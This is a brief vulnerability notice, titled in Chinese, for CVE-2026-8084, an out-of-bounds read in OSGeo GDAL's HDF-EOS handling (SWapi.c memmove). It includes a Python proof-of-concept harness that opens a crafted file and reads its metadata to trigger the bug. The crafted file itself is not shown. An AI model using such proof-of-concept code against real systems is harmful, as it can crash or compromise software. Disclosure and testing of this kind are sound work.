CVE-2026-8084 OSGeo GDAL 越界读取漏洞

import sys from osgeo import gdal # PoC for CVE-2026-8084 # This script attempts to trigger the out-of-bounds read # by opening a crafted HDF-EOS file. filename = 'poc_cve_2026_8084.hdf' try: # Trigger the vulnerability in SWapi.c memmove ds = gdal.Open(filename) if ds is not None: print("File opened successfully, checking data...") # Accessing metadata might trigger the specific code path metadata = ds.GetMetadata() print(metadata) else: print("Failed to open file.") except Exception as e: print(f"An error occurred (likely crash or exception): {e}")